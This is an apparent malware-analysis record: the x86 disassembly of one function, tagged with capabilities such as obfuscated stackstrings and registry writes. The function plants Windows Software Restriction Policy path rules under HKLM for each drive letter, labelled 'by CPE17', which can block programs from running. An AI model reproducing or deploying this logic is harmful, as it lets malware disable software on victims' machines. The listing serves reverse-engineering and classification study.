Function at 0x409580
Capabilities:
Contain obfuscated stackstrings
Parse pe header
Resolve function by parsing pe exports
Set registry value

Disassembly:
sub esp, 0x9bc
push ebx
push ebp
push esi
push edi
mov eax, dword [0x41881c]
mov ecx, dword [0x418818]
mov edx, dword [0x418814]
mov dword [esp + 0x4c], eax
mov eax, dword [0x418810]
mov dword [esp + 0x51], ecx
mov ecx, dword [0x41880c]
mov dword [esp + 0x56], edx
mov edx, dword [0x418808]
mov dword [esp + 0x5b], eax
mov eax, dword [0x418804]
mov dword [esp + 0x60], ecx
mov ecx, dword [0x418800]
mov dword [esp + 0x65], edx
mov edx, dword [0x4187fc]
mov dword [esp + 0x6a], eax
mov eax, dword [0x4187f8]
mov dword [esp + 0x6f], ecx
mov ecx, dword [0x4187f4]
mov dword [esp + 0x74], edx
mov edx, dword [0x4187f0]
mov dword [esp + 0x79], eax
mov eax, dword [0x4187ec]
mov dword [esp + 0x7e], ecx
mov ecx, dword [0x4187e8]
mov dword [esp + 0x83], edx
mov edx, dword [0x4187e4]
mov dword [esp + 0x88], eax
mov eax, dword [0x4187e0]
mov dword [esp + 0x8d], ecx
mov ecx, dword [0x4187dc]
mov dword [esp + 0x92], edx
mov edx, dword [0x4187d8]
mov dword [esp + 0x97], eax
mov eax, dword [0x4187d4]
mov dword [esp + 0x9c], ecx
mov ecx, dword [0x4187d0]
mov dword [esp + 0xa1], edx
mov edx, dword [0x4187cc]
mov dword [esp + 0xa6], eax
mov eax, dword [0x4187c8]
mov dword [esp + 0xab], ecx
mov ecx, dword [0x4187c4]
mov dword [esp + 0xb0], edx
mov edx, dword [0x4187c0]
mov dword [esp + 0xb5], eax
mov eax, dword [0x4187bc]
mov dword [esp + 0xba], ecx
mov ecx, dword [0x4187b8]
mov byte [esp + 0x50], 0
mov byte [esp + 0x55], 0
mov byte [esp + 0x5a], 0
mov byte [esp + 0x5f], 0
mov byte [esp + 0x64], 0
mov byte [esp + 0x69], 0
mov byte [esp + 0x6e], 0
mov byte [esp + 0x73], 0
mov byte [esp + 0x78], 0
mov byte [esp + 0x7d], 0
mov byte [esp + 0x82], 0
mov byte [esp + 0x87], 0
mov byte [esp + 0x8c], 0
mov byte [esp + 0x91], 0
mov byte [esp + 0x96], 0
mov byte [esp + 0x9b], 0
mov byte [esp + 0xa0], 0
mov byte [esp + 0xa5], 0
mov byte [esp + 0xaa], 0
mov byte [esp + 0xaf], 0
mov byte [esp + 0xb4], 0
mov byte [esp + 0xb9], 0
mov byte [esp + 0xbe], 0
mov dword [esp + 0xbf], edx
mov byte [esp + 0xc3], 0
mov dword [esp + 0xc4], eax
mov byte [esp + 0xc8], 0
mov dword [esp + 0xc9], ecx
mov ecx, 9
mov esi, str.4fdd91a1_8d47_4806_a351_689c2264a92e
lea edi, [esp + 0xd0]
xor edx, edx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0xf5], edx
mov ecx, 9
mov dword [esp + 0xf9], edx
mov esi, str.4fdd91b1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0xfd], edx
lea edi, [esp + 0x102]
mov byte [esp + 0x101], dl
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x127], eax
mov ecx, 9
mov dword [esp + 0x12b], eax
mov esi, str.4fdd91c1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x12f], eax
lea edi, [esp + 0x134]
mov byte [esp + 0x133], al
mov byte [esp + 0xcd], 0
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov byte [esp + 0x20], 0x41
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x159], ecx
mov esi, str.4fdd91d1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x15d], ecx
lea edi, [esp + 0x166]
mov dword [esp + 0x161], ecx
mov byte [esp + 0x21], 0x42
mov byte [esp + 0x165], cl
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x18b], edx
mov ecx, 9
mov dword [esp + 0x18f], edx
mov esi, str.4fdd92a1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x193], edx
lea edi, [esp + 0x198]
mov byte [esp + 0x197], dl
mov byte [esp + 0x22], 0x43
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x1bd], eax
mov ecx, 9
mov dword [esp + 0x1c1], eax
mov esi, str.4fdd92b1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x1c5], eax
lea edi, [esp + 0x1ca]
mov byte [esp + 0x1c9], al
mov byte [esp + 0x23], 0x44
rep movsd dword es:[edi], dword [esi]
mov byte [esp + 0x24], 0x45
mov byte [esp + 0x25], 0x46
mov byte [esp + 0x26], 0x47
mov byte [esp + 0x27], 0x48
mov byte [esp + 0x28], 0x49
mov byte [esp + 0x29], 0x4a
mov byte [esp + 0x2a], 0x4b
mov byte [esp + 0x2b], 0x4c
mov byte [esp + 0x2c], 0x4d
mov byte [esp + 0x2d], 0x4e
mov byte [esp + 0x2e], 0x4f
mov byte [esp + 0x2f], 0x50
mov byte [esp + 0x30], 0x51
mov byte [esp + 0x31], 0x52
mov byte [esp + 0x32], 0x53
mov byte [esp + 0x33], 0x54
mov byte [esp + 0x34], 0x55
mov byte [esp + 0x35], 0x56
mov byte [esp + 0x36], 0x57
mov byte [esp + 0x37], 0x58
mov byte [esp + 0x38], 0x59
mov byte [esp + 0x39], 0x5a
movsb byte es:[edi], byte [esi]
xor ecx, ecx
mov dword [esp + 0x1ef], ecx
mov esi, str.4fdd92c1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x1f3], ecx
lea edi, [esp + 0x1fc]
mov dword [esp + 0x1f7], ecx
mov byte [esp + 0x1fb], cl
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x221], edx
mov ecx, 9
mov dword [esp + 0x225], edx
mov esi, str.4fdd92d1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x229], edx
lea edi, [esp + 0x22e]
mov byte [esp + 0x22d], dl
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x253], eax
mov ecx, 9
mov dword [esp + 0x257], eax
mov esi, str.4fdd92e1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x25b], eax
lea edi, [esp + 0x260]
mov byte [esp + 0x25f], al
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x285], ecx
mov esi, str.4fdd92f1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x289], ecx
lea edi, [esp + 0x292]
mov dword [esp + 0x28d], ecx
mov byte [esp + 0x291], cl
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x2b7], edx
mov ecx, 9
mov dword [esp + 0x2bb], edx
mov esi, str.4fdd93a1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x2bf], edx
lea edi, [esp + 0x2c4]
mov byte [esp + 0x2c3], dl
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x2e9], eax
mov ecx, 9
mov dword [esp + 0x2ed], eax
mov esi, str.4fdd93b1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x2f1], eax
lea edi, [esp + 0x2f6]
mov byte [esp + 0x2f5], al
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x31b], ecx
mov esi, str.4fdd93c1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x31f], ecx
lea edi, [esp + 0x328]
mov dword [esp + 0x323], ecx
mov byte [esp + 0x327], cl
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x34d], edx
mov ecx, 9
mov dword [esp + 0x351], edx
mov esi, str.4fdd93d1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x355], edx
lea edi, [esp + 0x35a]
mov byte [esp + 0x359], dl
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x37f], eax
mov ecx, 9
mov dword [esp + 0x383], eax
mov esi, str.4fdd93e1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x387], eax
lea edi, [esp + 0x38c]
mov byte [esp + 0x38b], al
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x3b1], ecx
mov esi, str.4fdd93f1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x3b5], ecx
lea edi, [esp + 0x3be]
mov dword [esp + 0x3b9], ecx
mov byte [esp + 0x3bd], cl
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x3e3], edx
mov ecx, 9
mov dword [esp + 0x3e7], edx
mov esi, str.4fdd94a1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x3eb], edx
lea edi, [esp + 0x3f0]
mov byte [esp + 0x3ef], dl
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x415], eax
mov ecx, 9
mov dword [esp + 0x419], eax
mov esi, str.4fdd94b1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x41d], eax
lea edi, [esp + 0x422]
mov byte [esp + 0x421], al
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x447], ecx
mov esi, str.4fdd94c1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x44b], ecx
lea edi, [esp + 0x454]
mov dword [esp + 0x44f], ecx
mov byte [esp + 0x453], cl
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x479], edx
mov ecx, 9
mov dword [esp + 0x47d], edx
mov esi, str.4fdd94d1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x481], edx
lea edi, [esp + 0x486]
mov byte [esp + 0x485], dl
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x4ab], eax
mov ecx, 9
mov dword [esp + 0x4af], eax
mov esi, str.4fdd94e1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x4b3], eax
lea edi, [esp + 0x4b8]
mov byte [esp + 0x4b7], al
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x4dd], ecx
mov esi, str.4fdd94f1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x4e1], ecx
lea edi, [esp + 0x4ea]
mov dword [esp + 0x4e5], ecx
mov byte [esp + 0x4e9], cl
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x50f], edx
mov ecx, 9
mov dword [esp + 0x513], edx
mov esi, str.4fdd95a1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x517], edx
lea edi, [esp + 0x51c]
mov byte [esp + 0x51b], dl
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x541], eax
mov dword [esp + 0x545], eax
mov dword [esp + 0x549], eax
mov byte [esp + 0x54d], al
mov ecx, 9
mov esi, str.4fdd95b1_8d47_4806_a351_689c2264a92e
lea edi, [esp + 0x54e]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov byte [esp + 0x18], 0x16
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x573], ecx
mov esi, str.4fdd95c1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x577], ecx
lea edi, [esp + 0x580]
mov dword [esp + 0x57b], ecx
mov byte [esp + 0x19], 0xe5
mov byte [esp + 0x57f], cl
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x5a5], edx
mov ecx, 9
mov dword [esp + 0x5a9], edx
mov esi, str.4fdd95d1_8d47_4806_a351_689c2264a92e
mov dword [esp + 0x5ad], edx
lea edi, [esp + 0x5b2]
mov byte [esp + 0x5b1], dl
mov dl, byte [0x41b85c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x5d7], eax
mov ecx, 0x7c
mov dword [esp + 0x5db], eax
lea edi, [esp + 0x7d9]
mov dword [esp + 0x5df], eax
mov byte [esp + 0x7d8], dl
mov byte [esp + 0x5e3], al
mov byte [esp + 0x5e4], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x7c
xor eax, eax
lea edi, [esp + 0x5e5]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea ecx, [esp + 0xd0]
mov dword [esp + 0x48], eax
mov byte [esp + 0x1a], 0xbc
mov byte [esp + 0x1b], 0xf1
mov byte [esp + 0x1c], 0xea
mov byte [esp + 0x1d], 0x76
mov byte [esp + 0x1e], 0xca
mov byte [esp + 0x1f], 1
mov dword [esp + 0x3c], eax
lea ebp, [esp + 0x4c]
mov dword [esp + 0x40], ecx
mov edi, 0x41cd88
or ecx, 0xffffffff
xor eax, eax
mov edx, 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x44], edx
cmp ecx, edx
jbe 0x409f9f
mov eax, dword [esp + 0x3c]
mov cl, byte [esp + eax + 0x20]
mov byte [esp + 0x17], cl
mov al, byte [esp + 0x17]
mov cl, byte [edx + 0x41cd88]
cmp al, cl
jne 0x409f7f
push 0x12c
lea ecx, [esp + 0x7dc]
push str.SOFTWAREPoliciesMicrosoftWindowsSaferCodeIdentifiers0Paths
push ecx
call fcn.0040c880
mov edx, dword [esp + 0x4c]
push 0x1f4
lea eax, [esp + 0x7e8]
push edx
push eax
call fcn.0040cc30
push 0x1f4
lea ecx, [esp + 0x7f4]
push 0x418320
push ecx
call fcn.0040cc30
add esp, 0x24
lea edx, [esp + 0x10]
lea eax, [esp + 0x7d8]
push edx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x409ecf
lea ecx, [esp + 0x10]
lea edx, [esp + 0x7d8]
push ecx
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 0x32
lea eax, [esp + 0x5e8]
push str.by_CPE17
push eax
call fcn.0040c880
lea edi, [esp + 0x5f0]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x10]
not ecx
push ecx
lea ecx, [esp + 0x5e8]
push ecx
push 1
push eax
push str.Description
push edx
call esi
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x48]
push 4
push eax
push 4
push 0
push str.SaferFlags
push ecx
call esi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
push 8
push edx
push 3
push 0
push str.LastModified
push eax
call esi
push 0x32
lea ecx, [esp + 0x5e8]
push ebp
push ecx
call fcn.0040c880
lea edi, [esp + 0x5f0]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
lea edx, [esp + 0x5e4]
push ecx
push edx
push 1
push eax
mov eax, dword [esp + 0x20]
push str.ItemData
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
jmp 0x409f7d
push 0x32
lea edx, [esp + 0x5e8]
push str.by_CPE17
push edx
call fcn.0040c880
lea edi, [esp + 0x5f0]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
lea eax, [esp + 0x5e4]
push ecx
mov ecx, dword [esp + 0x14]
push eax
push 1
push 0
push str.Description
push ecx
call esi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x48]
push 4
push edx
push 4
push 0
push str.SaferFlags
push eax
call esi
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push 8
push ecx
push 3
push 0
push str.LastModified
push edx
call esi
push 0x32
lea eax, [esp + 0x5e8]
push ebp
push eax
call fcn.0040c880
lea edi, [esp + 0x5f0]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x10]
not ecx
push ecx
lea ecx, [esp + 0x5e8]
push ecx
push 1
push eax
push str.ItemData
push edx
call esi
mov eax, dword [esp + 0x10]
push eax
call ebx
mov edx, dword [esp + 0x44]
mov edi, 0x41cd88
or ecx, 0xffffffff
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x44], edx
cmp edx, ecx
jb 0x409d8b
mov eax, dword [esp + 0x3c]
mov edi, dword [esp + 0x40]
inc eax
add edi, 0x32
add ebp, 5
cmp eax, 0x1a
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], edi
jl 0x409d5f
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x9bc
ret